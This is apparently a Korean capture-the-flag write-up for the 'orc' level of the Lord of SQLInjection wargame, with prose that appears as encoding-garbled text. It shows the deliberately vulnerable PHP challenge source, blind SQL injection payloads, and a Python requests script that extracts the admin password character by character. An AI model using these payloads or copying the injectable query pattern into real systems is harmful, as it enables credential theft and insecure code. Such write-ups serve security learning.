<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>
๊ธฐ์กด๊ณผ ๋น์ทํด๋ณด์ด์ง๋ง ๋ง์ง๋ง๋ถ๋ถ์ ๋ณด๋ฉด, ์ค์ ํจ์ค์๋์ ๋น๊ตํ๋ ๋ถ๋ถ์ด ์๋ค.
blind-sqli๋ฅผ ํตํด ํ๋ํ๋ ํจ์ค์๋๋ฅผ ์ฐพ์๋ณด๋ฉด ๋ ๊ฑฐ ๊ฐ๋ค.
์ฐ์ , pw๊ธธ์ด๋ฅผ ์ฐพ์๋ณด์
?pw=1' or id='admin' and length(pw)=0
id='admin'์์ด length(pw)=0๋ง ์๋ค๋ฉด, ๋ค๋ฅธ ๊ณ์ ์ pw๊ฐ๊ณผ๋ ๋น๊ต๋์ด ์ด์ํ ๊ฒฐ๊ณผ๊ฐ ๋์จ๋ค.
0 ๋ถ๋ถ์ ๋ฐ๊ฟ๊ฐ๋ฉฐ ์ฐพ์๊ฐ๋ฉด ์์ด ๋ง์ง๋ง and๋ก ๋ฌถ์ธ ์์ด ์ฐธ์ด ๋์ด, Hello admin์ด ์ถ๋ ฅ๋ ๊ฒ์ด๋ค.
์ง์ ๋ฐ๊ฟ๊ฐ๋ฉฐ ๋ ธ๊ฐ๋ค๋ฅผ ํด๋ณผ ์ ์๊ฒ ์ง๋ง,
๋์ค์ pw ๋ฌธ์ ํ๋ํ๋ ์ฐพ์ผ๋ ค๋ฉด ์๋นํ ํ๋ค๊ฒ์ด๋ค.
์ฐธ๊ณ ๋ก ๋๋ ์ด๋ ธ์ ๋ ์์ฒฉ์ ์ ์ด๊ฐ๋ฉฐ ํด๋ณธ ๊ฒฝํ์ด..
๊ทธ๋ฆฌํ์ฌ python requests๋ชจ๋์ ์ด์ฉํ์ฌ ๊ฐ๋จํ ํ๋ก๊ทธ๋จ์ ๋ง๋ค์ด๋ณผ๊ฒ์ด๋ค.
import requests
cookies = {'PHPSESSID' : 'asdfasdfasdfasdf'}
print("find length of pw...")
for i in range(1,100):
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=1\' or id=\'admin\' and length(pw) = ' + str(i) + '%23'
res = requests.get(url, cookies=cookies)
print(str(i) + " ... ", end="")
if "Hello admin" in res.text:
len_pw = i
print("0")
print("================================")
print("len : " + str(i))
print("================================")
print("\n")
break
else:
print("X")
๋ณธ์ธ ์ฟ ํค๋ฅผ ๋ฃ๊ณ , ์คํํด ๋ณด๋ฉด ๊ฒฐ๊ณผ๊ฐ ์ ๋์ฌ๊ฒ์ด๋ค.
๊ธธ์ด๋ 8๊ธ์์์ด ํ์ธ๋์๊ณ , ๋ค์์ ๋ฌธ์ ํ๋ํ๋๋ฅผ ์ฐพ์๋ณด์.
substr, left, asciiํจ์๋ฅผ ์ฌ์ฉํ ๊ฒ์ด๋ค
substrํจ์๋ ๋ฌธ์์ด์ ์๋ผ์ฃผ๋ ํจ์์ด๋ค.
ํ์ง๋ง, mysql substrํจ์๋ ๊ฐ์๋ฅผ ์ง์ ํด์ค ์ ์๊ธฐ ๋๋ฌธ์
์๋ผ์ค ๋ค, leftํจ์๋ฅผ ์ด์ฉํ์ฌ ํ ๋ฌธ์๋ฅผ ๋ฝ์๋ด์.
?pw=1' or id='admin' and ascii(left(substr(pw, 1), 1))=65
65๋ถ๋ถ๊ณผ substrํจ์ ๋ ๋ฒ์งธ ์ธ์๋ฅผ ๋ฐ๊ฟ๊ฐ๋ฉฐ ์ฐพ์๋ณด๋ฉด ๋ ๋ฏ ์ถ๋ค.
+mysql ์์ ์ผ๋ฐ์ ์ธ ๋ฌธ์ ์๋ฃํ์ ๋น๊ต์ ๋์๋ฌธ์ ๊ตฌ๋ถ์ ํ์ง ์๊ธฐ ๋๋ฌธ์, ์ ํํ ๊ฐ์ ์ํด ascii 10์ง์๋ก ๋ณํํ์ฌ ๋น๊ตํ๊ฒ ๋ค
import requests
cookies = {'PHPSESSID' : 'asdfasdfasdfasdf'}
print("finding length of pw...")
for i in range(1,100):
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=1\' or id=\'admin\' and length(pw) = ' + str(i) + '%23'
res = requests.get(url, cookies=cookies)
print(str(i) + " ... ", end="")
if "Hello admin" in res.text:
len_pw = i
print("0")
print("================================")
print("len : " + str(i))
print("================================")
print("\n")
break
else:
print("X")
full_pw = ""
print("finding full pw...")
for i in range(len_pw):
for j in range(32, 127):
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=1\' or id=\'admin\' and ascii(left(substr(pw,' + str(i+1) + '),1)) = ' + str(j) + '%23'
res = requests.get(url, cookies=cookies)
if "Hello admin" in res.text:
full_pw += chr(j)
break;
print("pw : " + full_pw)
print("================================")
print("pw : " + full_pw)
print("================================")
์ฒ์ ๋ง๋ ๊ธธ์ด ์ฝ๋์ ํฉ์ณ์ ๊ทธ๋ด์ธํ ํ๋ก๊ทธ๋จ์ ๋ง๋ค์ด๋ณด์..! ํด์ ๊พธ๋ฉฐ๋ดค๋ค.
์คํํ๋ฉด admin pw์ ๋ณด๊ฐ ์์๊ฒ ๋์ค๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
๋์จ ๊ฐ์ pw๋ก ์ ๋ฌํด์ฃผ๋ฉด, ํ๋ฆฌ๊ฒ๋๋ค.
'wargame ๐ดโโ ๏ธ write-up > Lord of SQLInjection' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
darkelf (0) | 2022.04.02 |
---|---|
wolfman (0) | 2022.04.02 |
goblin (0) | 2022.04.02 |
cobolt (0) | 2022.04.02 |